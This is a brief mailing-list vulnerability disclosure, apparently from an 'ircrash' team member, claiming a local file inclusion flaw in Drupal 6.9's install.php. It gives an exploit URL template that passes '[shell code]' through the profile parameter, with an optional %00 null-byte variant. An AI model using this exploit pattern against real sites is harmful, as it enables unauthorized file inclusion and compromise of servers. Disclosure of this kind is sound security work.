<<< Date Index >>>     <<< Thread Index >>>

LFI in Drupal CMS



Author : Rasool Nasr

-------------------------------------------

Discovered by : Rasool Nasr

-------------------------------------------

Exploited By : Rasool Nasr

-------------------------------------------

E-Mail : rasool.nasr@xxxxxxxxx

-------------------------------------------

WebSite : http://ircrash.com

-------------------------------------------

Our Team : ircrash

-------------------------------------------

IRCRASH Team Members : Dr.Crash Or Khashayar Fereidani - Hadi Kiamarsi - 
Malc0de - R3d.w0rm - Rasool Nasr

-------------------------------------------

CMS: Drupal ( Version 6.9 )

Download CMS : http://ftp.drupal.org/files/projects/drupal-6.9.tar.gz

-------------------------------------------

LFI

Exploit :

http://[sitename]/drupal/install.php?profile=[shell code]


or


http://[sitename]/drupal/install.php?profile=[shell code]%00
-------------------------------------------